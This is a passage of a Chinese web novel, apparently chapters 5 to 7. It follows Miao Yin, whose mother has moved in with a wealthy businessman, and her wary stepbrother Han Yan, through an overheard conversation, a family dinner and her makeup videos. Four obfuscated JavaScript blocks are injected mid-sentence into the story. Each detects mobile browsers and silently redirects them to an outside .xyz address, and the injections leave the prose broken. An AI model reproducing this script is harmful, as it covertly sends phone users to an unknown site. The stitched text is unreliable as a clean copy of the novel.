苗音自闭了,她觉得自己就像一个在迷雾里跋涉了很久的人,一直低着头往前走,总以为走得够久,雾就会散开,到那时就能看见明亮的未来。 可就在这时,她的面前突然出现了一面镜子,照出她狼狈不堪的惨样,而镜子背后,正站着那些从未沾染过一点尘埃的人,他们步履从容,不需要花费太多力气——因为一出生,就已经在道路的终点了。 一个晚上她都在想,努力的意义到底是什么,反正她干到死,都不可能追上别人的起点。算了吧,还不如彻底躺平,何必徒劳呢? 这念头沉甸甸地压着她,到了后来她想累了,沉沉地睡了过去。 醒来的时候天光微亮,一种奇异的平静取笼罩着她,取代了昨夜的翻腾,那些混乱的思绪,像潮水留在沙滩上的印记,纹路依然清晰,却不再有淹没她的力量。 她为什么要因为别人的财富否定自己的努力?她的价值,从来就不在于追赶别人生来就有的高度,而是在脚下这片或许泥泞、或许狭窄的土地上,走出一条独属于自己的路。 日子还不是要过,苗音把这件事告诉了石念光:“不就是50万的表,两万元的饭吗?我以后怎么就不能拥有。三十年河东,三十年河西,莫欺少女穷。” 石念光说:“莫欺中女穷,莫欺老女穷……我开玩笑的宝贝,你一定能暴富。” 第二天吃过午饭,韩永维和韩砚都去了公司,李静把苗音叫到书房里,锁上了房门。 这势头,一看是要说什么严肃的事,苗音紧张了几分。 “音音。”李静的语气平缓,“你知道妈妈为什么要跟韩叔叔结婚吗?” 苗音犹豫地说道:“不是因为感情吗?” 一开始她想过,或许是因为韩永维帮忙处理了苗刚的事,但仅凭这份恩情,似乎也不足以促成一段婚姻,那么,最合理的解释,还是母亲和他的那段旧情分。人嘛,总有些放不下的回忆。 李静顿了顿,说:“其实,我和他并没有领结婚证。” 没领结婚证?苗音有些讶异,不过转眼一想,也不是说不过去,韩永维这么大一个企业家,怎么会让自己积累起来的财富处于风险之中。但以她对母亲的了解,怎么会答应这样的安排? “是我主动提的。”李静仿佛看穿了她的心思,“大人的事没那么简单,我之所以这样做,很大一个原因,是为了你。” 苗音不解:“为了我?” “对,人都有机缘一说,这是妈妈的机缘,也是妈妈想为你争取的机缘。”李静轻轻按住她的肩膀,“一旦跟韩家扯上关系,意味着你有机会接触到更多优秀的异性,妈妈希望你抓住这个机缘,尽可能多地接触他们,为自己的将来多做选择。不要像我这样蹉跎大半辈子……” 这番话令苗音吃了一惊,因为从小到大,李静给她灌输的观念都是女人要自立,要靠自己。苗音明白,母亲一定跟她一样,见识到韩家的生活后,必定受到了不小的冲击,才突然有这种想法。但她清楚,李静并不是为钱折腰的人,否则的话,又怎么会独自一人抚养她到成年? ** 韩砚始终觉得,自己待在家里不合适。 从昨天到现在,韩永维没有向他解释过任何事,没解释李静是谁,没解释为什么和她再婚,甚至没提起那对母女的情况。 这倒也正常,毕竟除了公司的事之外,他们很少谈论生活上的事。像昨天韩永维和苗音那样的交流,是他从没体验过的,更别说那些鼓励和关心的话——比如昨天韩永维夸奖她的那些,从小到大,从没对他说过。 韩砚曾经也期待过能和父亲说说心里话,也渴望听到一句半句的鼓励,但每次开口,换来的都是冷淡的回应。在一次又一次地被泼冷水后,他逐渐不再表达任何感受,父子俩之间也变得无话可说。 他原本以为,父亲天生就是那样的人,他只是不擅长表达感情,可直到昨天,看到韩永维和苗音那样谈笑风生,他才明白,不是他不会说,是不愿意对自己说。 好吧,别人一家三口其乐融融,像真正的一家人,他在这里碍什么事? 他决定回家一趟,搬一些东西走,一个人住,反倒过得自由自在些。 韩砚的行李并不多,他这次回家,只是来拿一些必备品。 他走进房间,他的房间并不是很整齐,他先是收拾了一些贴身衣物,最后收书本的时候,在桌上发现了一个对讲机。 Motorola,这是前两天,亲戚家的小孩来玩的时候带过来的,小孩哥把这个对讲机当宝贝似的揣着,非拽着韩砚陪他捉迷藏。 韩家有很多个房间,韩砚让小孩哥藏到一个房间去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317045|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用对讲机说躲好了,然后去他躲着的房间找他,最后小孩哥每次都被找到,气得跺脚,说不要这个对讲机了。 韩砚想到小孩哥被整的表情,心情好了几分,他本想把对讲机关机,但不知按到了哪个键,激活了对讲机的VOX(对讲)功能。 一阵电流杂音传来,然后是清晰的人声。 哪来的声音? “……跟韩家扯上关系……有机会接触到更多优秀的异性……” 韩砚脸色一沉,迅速关闭了VOX功能。 ** 苗音安抚了李静,让她别多想,母女俩便没再继续这个话题。 李静有午休的习惯,苗音把她送回房间,等她睡下之后,带上门。 她这才踏上走廊,大步流星地走回书房。 大概是从小养成的习惯使然,她对四周的环境非常敏感,甚至能够清晰地辨别每个人的脚步声,小时候只要听到苗刚的脚步声,她就会迅速躲起来。 就在刚才,苗音也敏感地听见了一声“滋啦”声。 虽然非常微弱,但还是被她捕捉到了,听见这声音,一下让她想到拍摄现场,保安叔叔们对讲机的声音。 但事发突然,她也没意识到李静会给她讲那些,等她想要阻止李静说话的时候,已经来不及了。 大人的世界确实复杂,事已至此,她虽然不愿再过多纠结这件事,但出于谨慎的原则,她必须弄清楚,那声“滋啦”声到底是什么,是不是有人听到了她们的对话,否则的话,她恐怕会一直提心吊胆。 苗音走进书房,按照刚才声音来源的方向,在书房里翻找着。最终,她在一个看起来能装得下7、8岁儿童的柜子旁边,发现了她最不愿意看见的东西。 一个对讲机。 苗音心里咯噔一下,但她还怀着一丝侥幸心理,如果只是韩家的某个阿姨,或者无关紧要的小孩子听到了,都造不成什么影响,顶多只是被人背后蛐蛐几句。 她暂时没想好要怎么处理这件事,如果拿着对讲机去问,又显得心虚,因此,她没有动那个对讲机,而是退出了书房。 要怎么查? 这个问题一直盘旋在苗音的脑海里,很快,她想到一个绝妙的主意。 对讲机所处的位置并不隐蔽,不像是有人故意藏在书房,更像是什么人遗失了,或者扔在那。 所以,她可以提前把对讲机拿出来,摆到显眼的位置,再让打扫的阿姨进去,装作不经意地问起对讲机的事。 这样一来,就有线索了。 韩家的阿姨很少,苗音想,得选一个大大咧咧、没什么心眼的人,当做试探的对象。 她过于沉浸地思考自己的计划,一晃眼,走廊上不知何时走出一个人。 那个人是韩砚,他背着一个黑色双肩包,看起来收拾好了他的衣服。 苗音的心脏剧烈跳动起来,步伐也不再轻快,她想,她用不着试探了。 因为她看清楚了,韩砚手上正拿着一个和书房里一模一样的对讲机。也看清楚了,他擦身而过时,眼神中闪过的一丝厌恶和戒备。 她刚才那点侥幸念头,和想出解决难题的办法的兴奋,顿时消失得无影无踪。 如果听见对话的人是韩砚,事情就不一样了。 他一句话,捅到韩永维面前,就会影响他和母亲的关系,她当然不希望母亲被任何人误解,所以,她得想办法解决这件事,并且还不能直接告诉韩砚,因为直接解释,有越描越黑的风险。 苗音想,她需要一个机会。 下午的时候,韩永维回家了,并且宣布了一件事。 “今天晚上我约了我妹妹和他儿子,到时候一起吃个饭,大家都认识一下。” 苗音一下子想到照片中的那个女人,江阳秋的母亲,韩永怡。 也就是说,晚上的饭局,江阳秋、韩砚都在场,她知道,这个机会来了。 5. 第5章 也就是这个时候,苗音突然发现一个很重要的问题。 由于事发突然,这两天一边忙着应付韩永维和韩砚,一边震惊,以至于她完全忘记了一个人,这个人就是江阳秋。 因此,她目前还没给江阳秋提过这件事。 于是她拿起手机,给江阳秋发了条微信。 江阳秋这个人没什么别的爱好,爱好一是打游戏,爱好二是泡吧喝酒。 虽然自从认识了苗音之后,他就很少去酒吧晃了,不过这几天她没怎么理他,没空陪他玩游戏,几个朋友又都回国了,于是在他们的怂恿下,江阳秋又去喝了一晚上的酒,在小区门口吃了早餐,这才回家。 韩永怡女士忙于工作,很少管他,等发现他这个恶劣爱好的时候,也已经纠正不过来,于是本着儿孙自有儿孙福、不理解但尊重年轻人爱好的念头,已经看淡了,只要他不惹出事就好。 江阳秋一到家就躺下了,开始补觉,从早上一直睡到下午四点,被韩永怡轻轻摇醒。 “阳阳、阳阳,起来了,你是猪吗?这么能睡。” 江阳秋睡眼朦胧地回答:“妈……出什么事了?” 韩永怡站起身:“你舅舅让晚上一起吃个饭,要介绍新舅妈给我们认识。” 江阳秋不情不愿地从床上坐起来,嗓音哑得像感了冒:“舅舅什么时候结的婚?” 韩永怡嫌弃地瞪了他乱糟糟的头发一眼:“听说就是前几天的事,赶紧抓紧时间收拾。” 江阳秋起床了,他简单冲了个澡、刷牙,换衣服,收拾得清清爽爽后,胡乱吃了点东西垫一垫,坐上车出门。 直到这个时候,他才拿出手机,看到苗音给他发的消息。 他慌忙点进去。 他给苗音的备注是“赛博猫猫”,虽然被她本人吐槽过,不过江阳秋很喜欢,觉得她就像赛博城下的一只流浪猫。 赛博猫猫:【我有件事要告诉你。】 赛博猫猫:【你还在睡觉吗?】 赛博猫猫:【那我长话短说了,你舅舅的结婚对象是我妈,今天晚上会有一个饭局,到时候我也在,你做好心理准备。】 江阳秋眨了眨眼睛,不可置信地把这段话读了三遍。 什么跟什么? 舅舅的结婚对象是她妈? 怎么这些字连在一起,他有点看不懂这句话了呢? 江阳秋一时之间有点反应不过来,他的手指搭在键盘上,字打出来又删掉,好半天都没能成功敲出一个字。 他在聊天框中打出【你在开玩笑吗?】 “对了。”还没来得及发出去,正在开车的韩永怡像是想到什么,“我听你舅舅说,你舅妈有一个女儿,年龄和你差不多大,到时候见了面,你可给我收敛点。” 江阳秋茫然地看看他妈,又茫然地看看手机,虽然他很不想承认,非常不想承认,但不得不承认,这些信息,已经能够百分之九十肯定一件事了——他舅的结婚对象,真的是她妈。 强烈的荒诞感让他想笑又想骂人,最后挤出一个怪异的笑脸,引得韩永怡频频看他。 他没发那条消息,应该说他压根就不敢发,怕一发出去,“喜欢的妹子成了表姐”这件事就成真了。 开什么玩笑啊!他不信,世界上怎么可能有这么巧的事? 江阳秋想——求求老天爷,别再搞我了。 逃避虽然可耻但是也没用,等母子俩进包间的时候,韩永维一家人已经到齐了。 “永怡、阳阳,快过来,给你们介绍一下,这是你舅妈李静,还有她女儿,苗音,以后就是一家人了。” 还用你介绍吗?江阳秋想,他刚刚进门的第一眼,就看见了苗音,目光更是死死锁在她的脸上。 真是他的亲舅舅啊,他的好舅舅啊,江阳秋想,找谁不好,偏偏要找她妈?我该拿你怎么办。 江阳秋跟着韩永怡入座了,他觉得自己就像个没有灵魂的躯壳,脑海里发出三连问。 我跟她还能继续吗?从法律上来讲,其实不算乱.伦对吧? 她会不会后悔?会不会觉得我的家庭背景很复杂,不想沾? 以后要怎么办?真当亲戚处? 也就是在这个时候,江阳秋突然意识到,原来他已经这么在意这段关系了。 平心而论,他的各项条件摆在这里,异性缘不会差,上学期间也有过几段真挚的恋爱,所以在刚和苗音开始暧昧的时候,他其实没想过非要和她有个什么结果。 可现在,他盯着那张许久不见的脸,目光黏稠、带着一丝若有若无的出神。 她是怎么想的? 我们现在算什么? 如果她不想继续了,我要不要继续缠着她? 苗音…苗音。 韩永怡女士见状,推他的手臂:“装什么疯,还不叫人?” 江阳秋的嘴唇微微嚅动了一下,最终没能开得了口,像是怔愣了一般,紧紧地看着苗音。 搞得桌上其余几人都面面相觑,韩永维这么一品,更是看出不对劲:“阳阳,你跟音音认识吗?” 江阳秋有一种冲动——不如在此时此刻,他就表明自己的心意,省得以后更加解释不清。 “我……” 他的一句话还没说出口,就被韩砚打断了:“您还记得锦川市大学生创新创业大赛吗?” 那是前不久在锦川大学举办的赛事,天穹星链是赞助商之一,韩永维说:“记得啊。” “他们俩都是志愿者,我们三个早就见过一次了,只是没来得及跟您讲。”韩砚道。 韩砚当然知道他冲动而愚蠢的弟弟打算做什么。 他那副失魂落魄、几乎要把眼珠子黏在苗音身上的样子,简直难以直视,他有没有动过脑子,在这种场合自爆心意,韩永维会怎么想?姑姑的脸面又往哪里放? 韩砚回想起昨天无意中听到的对话,也就是说,李静嫁进来的真实目的,不过是想给苗音物色个优质对象。 这个目的他不予评价,毕竟,婚姻与利益本就纠缠不清,每个人都有各自的考量与难处,这是很正常的事,怪只怪韩永维管不住自己,也算是咎由自取。 但是,这对母女的算计已经昭然若揭,韩砚甚至产生了一种猜想,有没有可能,苗音接近江阳秋,甚至说一周前生日宴上和他的碰面,全部都是精心安排好的? 不管怎么样,这个时候跳出来,无异于正中下怀,所以,韩砚不能让弟弟掉进陷阱里。 他看着江阳秋黏在苗音身上痛苦、迷恋的眼神,一股烦躁感涌上心头。 苗音这个人实在太过可疑,浑身都透露着让他难以看透的危险气息,像一把尚未出鞘的利刃,所幸这把利刃隐而未发,让他们之间维持着一种微妙的平衡。 他在心里毫不留情地审视着她,给出评估:这是一个需要他警惕的对象,在他决定要如何对付她之前,不能有任何人跳出来破坏这种平衡。 “这……这缘分,真是妙不可言。”韩永怡惊奇到。 不止是她,桌上的几个长辈都显得非常意外。 但这样搪塞的借口,当然是瞒不过韩永维这种老狐狸的,他内心就跟明镜似的,知道这三个小年轻肯定发生过什么事,但谁没有年轻的时候,年轻人嘛,干点什么都可以理解,况且碍于场合,他也没有选择深究。 他只是看向韩砚,有些不满地说:“怎么没听你提过?” 韩砚淡淡地讽刺:“您不也没跟我提过这事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317046|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 韩永维:…… 韩永怡看出这对父子之间隐隐的剑拔弩张,于是转移话题,问道:“那音音是学什么专业的?” 苗音说:“我是学服装设计的。” 韩永怡有些惊讶,虽然转瞬即逝,但这个表情依旧被苗音敏锐地捕捉到了,她顺势说道:“其实这个专业,家境比较好的同学很多,毕竟艺术类专业总是很烧钱的。” “所以,我妈一个人把我供出来,确实挺不容易。” 说完这句话,她迅速瞥了韩砚一眼,确保对方正在听她说话。 涉及到这种和家庭有关的敏感话题,一时之间,饭桌上没有人接嘴,对于大家来说,苗音还是一个不熟的人,摸不清楚她会不会因为一句话生气。 偏偏有不看场合的。 跟一个人太熟了,就是会口无遮拦,江阳秋几乎是脱口而出:“那你爸爸呢?” 问完,他突然觉得有些不合适,又闭上了嘴。 可这正合苗音心意,她今晚就是要立个“身世凄苦却自强不息”的人设,即便不能改变韩砚的看法,但韩砚他爹是个念旧的人,将来他在他爹面前提起这件事,他爹也会顾及她们母女的遭遇,不追根究底。 于是她说道:“他搞网贷,不找我妈拿钱就不错了。” 又是一阵沉默,面对这种话题,没人愿意说出揭人伤疤的事。 “我觉得,我现在自己赚钱,应该也是受我妈的影响吧。”她看向韩砚,对方也正好在看她。 被她这么一盯,他认真的眼神闪烁了一瞬。 “毕竟,我妈从小教导我要自立自强。”她说,“其实周围的诱惑很多,有时候难免会动摇一下,但想想,还是自己挣来的钱最安心。” 她的眼神一刻也没从韩砚的脸上挪开,但凡听到了那段对话,有点脑子的,都能猜到她现在在干嘛,更别说韩砚这个聪明人了。 苗音猜得没有错,从和她的眼睛对视的那一刻开始,韩砚就顿时警惕了起来,她的眼神直勾勾的,带着某种探究的味道。 她为什么看着他?她想干什么? 他想移开视线,身体却像被钉住了。 直到她话音落下,韩砚才迟钝地反应过来:她在向他解释。解释她妈妈不过是一时冲动,才会说出那种话,否则的话,又怎么会一个人把她抚养大,又怎么会教育她,女孩子要靠自己呢? 这个认知像一根细小的针,在他毫无防备的心弦上扎了一下,带来一股尖锐的、莫名的微弱悸动。 过了好久他才明白,原来这股悸动名叫“被看见”。 从小到大,母亲对他反复强调的是“成功”和“有用”,他不能有太过充沛的情绪,因为情绪代表软弱。他听得最多的话是“哭有什么用?”、“没人会在意你怎么想,只看你做出的成绩”。 他爸就更不必多说,起到了一个背景板的作用,基本从不插手他的教育。 他那些细微的感受——委屈、难过、困惑,甚至偶尔的开心,似乎都找不到一个出口,它们像一股微弱的气流,还没来得及成型,就被母亲实用主义的训诫吹散了,要么就撞在他爸沉默的眼神上,无声地弹回来,闷在喉咙里。 他的世界像一座严丝合缝的堡垒,完全隔绝了这种直接的、带着温度的“被看见”。 因此,面对这种陌生的感觉,韩砚措手不及,甚至有一丝慌乱,仿佛闭上双眼很久很久的人,一下子被强光照射,这种强光激起的不是欣喜,而是本能的防御,以及不安。 因为,他并不知道应该怎么回应,或者说应对这种感觉。 于是,在一瞬间的震颤后,他选择了最熟悉的方式——逃避。 他猛地低头,躲开了她的视线。 6. 第6章 “这很好,别说比起很多大学生,就是跟一些出了社会的人比,你这个想法都已经非常厉害了。”韩永怡笑眯眯的,话锋却是一转,“反正肯定甩江阳秋几条街,就是让他下个厨房,都不知道怎么死的。” 江阳秋一听这熟悉的开场白,预感不妙,立刻哀嚎:“妈!陈年旧账就别翻了吧!” 韩永怡才不管他,丝毫不给面子:“记得有一次过年,家里的阿姨们都放假了,我心血来潮自己下厨,买了北极虾,和他爱吃的多宝鱼。” “让他帮忙打个下手,先弄个简单的,煮饭吧,想着这总不至于出差错。结果我听着电饭锅的声音,越听越不对劲,翻开盖子一看,发现他煮饭居然不加水!那个锅底,烧得跟炼丹炉没什么区别!” 江阳秋为自己发声:“那不都两三年前的事了吗?再说我现在已经会做饭了!” 韩永怡眉毛一横:“废话!你那个厨艺,我要是不监督你学做饭,将来哪个女孩儿会要你!” 江阳秋的脸红了,他低着头,不自觉地瞥了苗音一眼,又迅速收回视线。 他抬头,面对饭桌上的众人,自豪地说:“我现在做饭很好吃的!” 实际上,他的余光一直没从苗音身上离开。 随着这么一爆料,大家都爆笑如雷,饭桌上的气氛也跟着轻松了不少。 心中那块沉甸甸的石头落地了,苗音的心情也很不错,连吃东西也开心了起来,仿佛连味蕾都跟着敏锐了不少,觉得饭桌上的菜无比美味。 清蒸鲈鱼异常嫩滑,包含着汁水的丰腴,姜丝与豉油渗入鱼肉深处,却又丝毫不掩盖鱼肉本身的清甜。 翠油油的清炒蔬菜,咬下去脆生生的,带着露水般的清新,配上饱满、带着丝丝甜意的米饭。 食物的美好滋味如同她此刻豁然开朗的心情,每一口咀嚼都带来踏实的满足感。 令苗音有些惊讶的是,她原本以为,像韩永维这种大老板,一定饭不离酒,家里聚餐也必定少不了酒,毕竟,多少生意都是喝酒喝起来的,早就形成了习惯。 可这次吃饭,却没有人提过一句跟酒相关的事。 后来苗音从司机叔叔那里得知,原来韩永维一直非常希望韩砚好好读书,就连他名字里这个“砚”字也是这么来的(因为自己没有什么文化,所以取了这个字),而生意上的种种陋习,如抽烟喝酒打麻将,一律不许他沾,势要给韩家培养出一个根正苗红的高材生来。 只不过,小时候的韩砚并不争气,让韩永维一度心情崩溃就是了。 苗音心满意足地吃完了饭,回家之后,她看见江阳秋在微信上给她发了个猫猫头流泪的表情包。 然后又很快撤回了。 苗音回了个摸头表情,没再看手机,转头开始剪视频。 她在做模特的同时,也在认真地经营着自己的社交帐号。2015年,正值互联网爆发式增长,她敏锐地察觉到网络视频行业的快速发展,并且据她观察,“短平快”的内容越来越受欢迎,将来可能会成为一种趋势。 目前为止,苗音的账号上已经有了快3万粉丝,虽然账号还处于起步阶段,但她已经开始尝试独具自我特色的风格。 在网上,想要吸引观众,就得与众不同,苗音别出心裁地化了一些赛博朋克风格的妆容,虽然技术还不够炉火纯青,但那一条视频有了点热度,依靠它吸引了不少粉丝。 她今天剪的视频,就是一期妆容教程,剪完快十二点,每次发了视频,苗音都很喜欢翻翻评论区,看看大家的反馈,有谁不喜欢被人夸呢? 评论区基本是一溜烟的夸奖,但很快,出现一条挑刺的评论:【这么糊还好意思出来发妆教啊?】 人红是非多,苗音想,她虽然没有到“红”的地步,但和以前只有几千粉丝比起来,这种挑刺的评论确实变多了。 搁在以前,她都无心理会,毕竟互联网上谁能不被骂两句,想吃这口饭,这种事是避免不了的。 可今天她原本就忍了一天了,顿时热血上头,于是回击:【感觉是从小被PUA人生除了成功没别的事到心理畸形的可怜虫,你比较适合去百万粉博主那里当舔狗。】 发完之后,苗音只觉得浑身舒畅,她放下手机,做完一套护肤流程之后美美入睡了。 ** 韩砚不怎么刷视频,他10岁就开始上网,属于较早的一批网民,见证了3G到4G的变更,当网络视频爆发式地开始蔓延在互联网上的时候,他也曾跟随浪潮尝试过。 和很多技术一样,网络视频也是一把双刃剑,它加快了信息传播,但也让人变得不爱思考,关键在于人怎么用它。韩砚看到有很多同龄人沉迷娱乐视频,同事也常给他看搞笑视频,但他始终对这种会催人上瘾的东西不太感冒。 当然,视频带来的便利也是不可否认的,韩砚偶尔看些跟专业相关的视频,有时留言讨论,心血来潮了发发科普。 吃完饭回家,有同事神神秘秘地给他发了个链接,他点开,是一条美女视频。 韩砚并不感冒,他向来有些反感这种空洞的视觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317047|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激,只觉得像有人在往他大脑里倒垃圾,于是他点了退出。 但大数据不知道出了什么差错,给他推荐了一个化妆教程。 他瞥了一眼,原本打算无视,可看见封面上熟悉的脸,神差鬼使地,竟然点了进去。 是苗音,没想到她当模特的同时,还在网上当博主。 韩砚看了看,它已经有两万多粉丝,网络视频的确是将来的一个风口,是普通人的出路,能这么早就有意识开始做视频,可见她是一个有想法的人。 视频中,苗音正在教上一期的妆容,时不时会讲解特别需要注意的事项,看得出来,她的操作还不是特别流畅。 韩砚皱起眉头,不知道是网络传输导致的失真,还是说她刻意为之,他总觉得她的声音过于甜腻了,像工业糖精一般,甚至有一点“矫揉造作”,视频没看完,他就关掉了。 他睡下了,最近公司没什么事,第二天是个难得的休息日,他起床,准备出门跑跑步。 出门前他给自己做了早饭吃,他一直有意培养自己的专注力,不习惯在吃饭的时候做其他事。 但是今天,不知是想到了什么,总之,等他反应过来的时候,他已经点开了历史浏览记录,重新播放起苗音录的化妆教程。 这一次,他把整个视频都看完了,与此同时,也吃完了早饭。 她应该是刚做视频不久,看得出还有些生涩,剪辑手法也不够高明,有些地方显得无聊。 再看她的的粉丝数,只有两万多粉丝,倒也符合她的视频质量。 韩砚正这么想着,点开了视频的评论区,往下翻了几条,看到了一条黑粉的评论,以及苗音回击的话。 【感觉是从小被PUA人生除了成功没别的事到心理畸形的可怜虫,你比较适合去百万粉博主那里当舔狗。】 底下不少人在附和。 韩砚一阵错愕,下意识刷新了页面,他并不认同那条评论,毕竟,他对语言暴力同样深恶痛绝,但此时,他忽然意识到,他先前对她的那点评判,在她单刀直入的回击面前,显得如此狭隘。 他想,不管是第一次见面,还是此刻面对恶意时展现的锋芒,都足以说明她是个非常直接、不惧怕任何矛盾的人。 这样一个人,却在他对她产生误会时,选择了温和含蓄的解释。 不管她是出于何种考虑,韩砚都真切地体会到了一种被尊重的感觉,以及这份尊重所带来的温度。 所以,他关注了苗音的账号,成为她的第29871个粉丝。 7. 第7章 今天不用上课,也没有任何拍摄任务,苗音放肆地睡了一个上午,才慢悠悠地起床。 她给自己做了午饭,一拳头米饭,两拳头照烧牛肉,两拳头西兰花。 她是不易胖体质,但开始当模特后,也注意起饮食,她对饮食的要求并不苛刻,只要吃得干净,不摄入过多的脂肪就行。 苗音一边吃午饭,一边点开昨天的视频,看了看数据,又翻了昨天她怼的那个黑子,对方似乎已经破防了,主动删除了评论,剩下的评论区一片欢呼。 她的心情也变得无比畅快,果然,有的火只要发出来,难受的就不是自己了。吃完饭,她换了一身衣服,准备出门逛逛花鸟市场。 韩家有一个很大的鱼缸,现在还空着,里面没有东西,苗音对水生动物很感兴趣,于是起了养鱼的念头。 还有一个更重要的原因,她需要一点完全由自己掌控、并且能带来正向反馈的事情来放松神经,养点东西再合适不过了。 花鸟市场人声嘈杂,苗音转过金鱼摊,找到了卖热带鱼的铺子,老板正蹲在水族箱边,抄网捞出一尾她不认识的鱼,鳞片沾着水珠,在阳光下忽闪。 “三十。”老板说着,把鱼装进透明塑料袋里,灌水、打氧,旁边的顾客结了帐,拎着那带摇曳的水光和斑斓的鱼儿离开了,袋底还飘着几根水草。 “要点什么?”老板看到了苗音,叼着的烟晃动了两下。 “我想养孔雀鱼。”她回答。 来之前,苗音在网上做过功课,孔雀鱼生命力强,适合新手,颜色鲜艳,像扇子一样展开的尾巴飘来飘去,十分具有美感。 老板挺热情,给她介绍了几种孔雀鱼的区别,最后,苗音选了普通的缎带孔雀,一共买了四对,还买了饲料、一小盒冻红虫、和一根加热棒。 苗音拎着她的鱼儿回到了韩家,家里的佣人林阿姨看见她想养鱼,也跟着帮忙布置。 这两天,她对韩家的阿姨们也熟悉了不少,这位林阿姨在韩家的时间很长,从韩永维刚开始创业的时候就跟着他了,算得上是半个家人。 鱼缸这么一布置,进门口顿时生动了不少,这些鱼儿体色绚丽,最难得的是生命力极强,哪怕只是小小一尾,很小一只,也能活得光彩动人。 苗音满意地看了会儿鱼宝宝们,拍了很多照片,准备记录它们的长大的过程,然后心满意足地回房间宅着。 ** 韩砚到家的时候,已经过了晚饭点,玄关处,一抹粼粼的波光吸引了他的视线,那个常年闲置的鱼缸竟然有了生气,几尾色彩斑斓的鱼在水中游弋,搅起的光影在墙壁上跃动。 变化细微,但让人无法忽视。 “回来啦?看什么呢,这么入神。”林阿姨的声音响起,她走近,顺着他的目光看过去,“哦,这个啊,这个是小音下午买回来的,好看吧?” 韩砚一愣,随即点头,说:“是挺好看的,就是……” “就是什么?” “就是这个鱼缸太大了。”他的视线扫过空旷的水体,“这么几条鱼,显得空了点。” 林阿姨闻言,也仔细端详着鱼缸,眉毛皱起来,说:“你这么一说,是有点。” 韩砚若有所思地摩梭着下巴,忽然眼前一亮:“我有个不错的主意!阿姨,我先出去一趟。” 说完这句话,他转身推门而出。 “不是才回来吗,又要去哪啊?”林阿姨喃喃自语,无奈地叹了口气,“这孩子还是这样。” 林阿姨是看着韩砚长大的,在很多人眼里,韩砚或许是个难以亲近的对象,总摆着一副生人勿近的臭脸。可在林阿姨的眼中,他的那份孩子心气从没褪去,只是随着年龄的增长,被很多东西一层层包裹住,隐藏了起来,也正因如此,他不再像小时候那样活泼,也不再无忧无虑地笑闹了。 没过多久,韩砚就回来了,这个点林阿姨已经下班,家里黑漆漆的,只有那一池孔雀鱼带来了点光亮。 韩砚刚才去了公司,前不久,一个朋友送了他几条淡水魟鱼,他一直把它们养在办公室里。 他把手里的淡水魟鱼倒进了鱼缸里,正好,他也觉得这几条鱼放在办公室孤零零的,这下终于有伴了。 他望着鱼缸,两种鱼儿因为彼此的入侵,显得有些不适应,但这个大鱼缸应该能容纳它们各自所需,这时他突然总觉得什么地方不对劲,但还没来得及仔细思考,一个电话打断了他。 是江阳秋的来电。 “哥你在家吗?出来陪陪我。” 韩砚瞄了眼时间:“我该睡了。” “我到你家门口了。” “……” 韩砚于是只能打开家门,看见江阳秋把那辆招摇的跑车停在路边,倚着车门给他挥手:“哥,快来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317048|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩砚:…… 他无奈地叹了口气,最终还是走过去,拉开车门坐进副驾驶,语气平淡地问:“去哪?” 江阳秋说:“喝酒。” 韩砚说:“……找个清静点的,别去吵的地儿。” 兄弟俩最后来到了市中心的一家清吧,找了个靠近河边的位置。 韩砚早些年叛逆期,专跟韩永维对着干,他想让他好好读书,他就逃课;他不让他喝酒,他就背着家里人喝,因此练就了一身好酒量,江阳秋在锦川市要是喝不过,打电话摇他来,必然找得回场子。 韩砚喝酒,有三个原则,第一酒杯不能离开视线;第二喝酒就喝酒,不能有男男女女的事沾上身;第三喝到五分醉必须离场。 叛逆了几年,他突然醒悟了,他这么作下去,毁的是自己的前途,惩罚不了韩永维。于是,后来便戒了这些习惯,也不爱去吵闹的迪吧夜店,平时就算要喝酒,也只有眼前这种被江阳秋生拉硬拽出来的情况。 凭借韩砚的了解,今天的江阳秋,状况很不对劲,应该是有什么事要对他说。 